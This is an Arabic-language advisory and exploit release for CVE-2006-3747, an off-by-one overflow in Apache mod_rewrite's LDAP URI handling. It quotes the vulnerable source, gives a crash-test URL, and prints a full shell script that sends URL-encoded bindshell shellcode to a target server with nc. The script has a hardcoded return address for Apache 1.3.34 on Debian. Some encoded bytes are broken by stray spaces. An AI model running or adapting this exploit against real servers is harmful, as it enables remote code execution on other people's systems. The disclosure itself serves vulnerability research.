
استغلال عام يعمل وتحليل مفصّل لثغرة CVE-2006-3747، وهي ثغرة تجاوز سعة المخزن المؤقت من نوع off-by-one في وحدة Apache mod_rewrite المتعلقة بـ LDAP، بما في ذلك إثبات المفهوم (proof-of-concept) وشيلكود (shellcode).
ملفات حول منشوري في Bugtraq وأول استغلال يعمل لـ CVE-2006-3747 (تجاوز سعة المخزن المؤقت بواحد في mod_rewrite LDAP في Apache).
(http://www.securityfocus.com/archive/1/443870)
في 28 يوليو 2006، أبلغ Mark Dowd (مختبرات McAfee Avert Labs) عن ثغرة أمنية وجدت في وحدة mod_rewrite في Apache إلى القائمة البريدية لـ bugtraq. الدالة المتأثرة هي escape_absolute_uri() والمشكلة يمكن أن تظهر فقط عندما يتعامل mod_rewrite مع عنوان LDAP URL، يمكن لعنوان LDAP URL غير صالح أن يؤدي إلى تجاوز سعة المخزن المؤقت بواحد في مواقف معينة (خاصة) ويمكن لمهاجم محتمل أن يتسبب في رفض الخدمة أو تنفيذ رمز عشوائي بصلاحيات مستخدم Apache. لا يتطلب استغلال هذه الثغرة قاعدة خاصة بـ LDAP، ولكن يجب أن يكون لديك قاعدة يمكن للمستخدم من خلالها التحكم في الجزء الأول من عنوان URL المعاد توجيهه، على سبيل المثال:
RewriteRule foo/(.*) $1
أي إصدار من خادم Apache HTTP:
2696 /* escape absolute uri, which may or may not be path oriented.
2697 * So let's handle them differently.
2698 */
2699 static char *escape_absolute_uri(ap_pool *p, char *uri,
unsigned scheme)
2700 {
2701 char *cp;
2702 ...
...
2727 /* special thing for ldap.
2728 * The parts are separated by question marks. From RFC 2255:
2729 * ldapurl = scheme "://" [hostport] ["/"
2730 * [dn ["?" [attributes] ["?" [scope]
2731 * ["?" [filter] ["?" extensions]]]]]]
2732 */
2733 if (!strncasecmp(uri, "ldap", 4)) {
2734 char *token[5];
2735 int c = 0;
2736
2737 token[0] = cp = ap_pstrdup(p, cp);
2738 while (*cp && c < 5) {
2739 if (*cp == '?') {
2740 token[++c] = cp + 1;
2741 *cp = '\0';
2742 }
2743 ++cp;
2744 }
في حالة احتواء عنوان LDAP URI على علامة استفهام خامسة '?'، يؤدي السطر 2740 إلى تجاوز سعة المخزن المؤقت بواحد، حيث يتم الكتابة في token[5]. لاستغلال هذه المشكلة، من الضروري وجود إصدار Apache معرض للخطر وترتيب معين لإطار المكدس.
لمعرفة ما إذا كان يمكن استغلال إصدار Apache المعرض للخطر بنجاح، اكتب هذه القاعدة في ملف httpd.conf أو .htaccess الخاص بك:
RewriteRule kung/(.*) $1
وحاول الوصول إلى عنوان URL التالي:
/kung/ldap://localhost/AAAAAAAAAAAAAAAAAAAAA%3FAAAAAAAAAAAAA%
3FAAAAAAAAAAAAAAA%3FAAAAAAAAAA%3FAAAAAAAAAA%3FBBBBBBBBBBBBBB
إذا لم يرد خادم الويب الخاص بك بصفحة '302 Found' أو ظهر خطأ Segmentation Fault في ملف error_log، فقد تعطلت عملية تابعة لـ Apache ويكون خادم الويب الخاص بك معرضًا للخطر وقابلًا للاستغلال.
تم تنفيذ هذا الاستغلال بنجاح على Apache 1.3.34، حزمة Debian Sarge:
#!/bin/sh
# Exploit for Apache mod_rewrite off-by-one.
# Vulnerability discovered by Mark Dowd.
# CVE-2006-3747
#
# by jack <jack\x40gulcas\x2Eorg>
# 2006-08-20
#
# Thx to xuso for help me with the shellcode.
#
# I suppose that you've the "RewriteRule kung/(.*) $1" rule if not
# you must recalculate adressess.
#
# Shellcode is based on Taeho Oh bindshell on port 30464 and modified
# for avoiding apache url-escape.. Take a look is quite nice ;)
#
# Shellcode address in heap memory on apache 1.3.34 (debian sarge) is at
# 0x0834ae77 for any other version/system find it.
#
# Gulcas rulez :P
echo -e "mod_rewrite apache off-by-one overflow\nby jack <jack\x40gulcas
\x2eorg>\n\n"
if [ $# -ne 1 ] ; then
echo "Usage: $0 webserver"
exit
fi
host=$1
echo -ne "GET /kung/ldap://localhost/`perl -e 'print "%90"x128'`%89%e6%
31%c0%31 %db%89%f1%b0%02%89%06%b0%01%89%46%04%b0%06%89%46%08%b0%66%b3%
01%cd%80%89%06%b0%02%66%89%46%0c%b0%77%66%89%46%0e%8d%46%0c%89%46%04%
31%c0%89%46%10%b0%10%89%46%08% b0%66%b3%02%cd%80%b0%01%89%46%04%b0%66%
b3%04%cd%80%31%c0%89%46%04%89%46%08%b0%66%b3%05%cd%80%88%c3%b0%3f%31%
c9%cd%80%b0%3f%b1%01%cd%80%b0%3f%b1%02%cd%80%b8%23%62%69%6e%89%06%b8%
23%73%68%23%89%46%04%31%c0%88%46%07%b0%30%2c%01%88%46%04%88%06%89%76%
08%31%c0%89%46%0c%b0%0b%89%f3%8d%4e%08%8d%56%0c%cd%80%31%c0%b0%01%31%db%
cd %80%3FC%3FC%3FCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC%
77%ae%34%08CCCCCCCCCCCCCCCCCCCCCCCCCCC%3FC%3F HTTP/1.1\r\nHost:
$host\r\n\r\n" | nc $host 80
~~ Jacobo Avariento Gimeno